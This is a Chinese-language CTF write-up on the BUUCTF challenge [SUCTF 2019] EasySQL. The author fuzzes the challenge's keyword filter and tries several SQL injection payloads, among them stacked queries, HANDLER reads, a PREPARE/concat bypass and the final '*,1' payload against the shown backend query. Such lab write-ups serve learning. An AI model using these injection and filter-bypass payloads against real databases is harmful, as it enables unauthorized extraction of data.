buuctf/web/[SUCTF 2019]EasySQL做题笔记

喜欢ヅ旅行 2024-03-27 15:59 10阅读 0赞

**\[SUCTF 2019\]EasySQL**

**1**

回显NONONO代表被过滤了。

if,or,and,union,order 过滤了

fuzz测试一下：

![dad8ad39d78ddb3983c3672c376b5504.png][]

很多内容都被过滤了。

看到；没有过滤，试一下堆注入。

![3a44eb3b1ea78f7dc4fbff26c630c563.png][]

select 1,2,table\_name from information\_schema.tables where table\_schema='ctf'

这个不行，from也过滤了。

![53a298571c8dae61b9b2bb8343d501ea.png][]

show tables (show databases;)

我的问题：有方法绕过from去查询表中的内容吗？

方法：用HANDLER

handler handler\_table open;handler handler\_table read first;handler handler\_table read next;handler handler\_table close;

这里参考：[https://blog.csdn.net/qq\_43427482/article/details/109898934][https_blog.csdn.net_qq_43427482_article_details_109898934]

[https://dev.mysql.com/doc/refman/8.0/en/handler.html][https_dev.mysql.com_doc_refman_8.0_en_handler.html]

这个handler也被过滤了，不过在学习过程中发现可以预编译绕过，试一下

;PREPARE st from concat('s','elect', ' \* fr','om \`flag\` ');EXECUTE st;\#

PREPARE也被过滤了

......

还有table参数，但是只支持MySQL 8.0.19版本的...

![c98647a4300a151d9752bfea59e7598e.png][]

query=1;table flag;

结果flag也给过滤了.......

感觉这条路已经封死了......

参考：

[https://blog.csdn.net/StevenOnesir/article/details/110203051][https_blog.csdn.net_StevenOnesir_article_details_110203051]

源码**select $\_POST\[‘query’\] || flag from Flag,**

select \*,1||flag from Flag，

--------------------

[dad8ad39d78ddb3983c3672c376b5504.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/5c1c0318a0664ddf905bd19f4b50f17a.png
[3a44eb3b1ea78f7dc4fbff26c630c563.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/72de19ba25b649fdbdcf5ffa3f7dff6b.png
[53a298571c8dae61b9b2bb8343d501ea.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/b278acde012d421194ff5edd7eb64fdc.png
[https_blog.csdn.net_qq_43427482_article_details_109898934]: https://blog.csdn.net/qq_43427482/article/details/109898934
[https_dev.mysql.com_doc_refman_8.0_en_handler.html]: https://dev.mysql.com/doc/refman/8.0/en/handler.html
[c98647a4300a151d9752bfea59e7598e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/27/98e01c5ebae34fdd8b2dd124fce52dda.png
[https_blog.csdn.net_StevenOnesir_article_details_110203051]: https://blog.csdn.net/StevenOnesir/article/details/110203051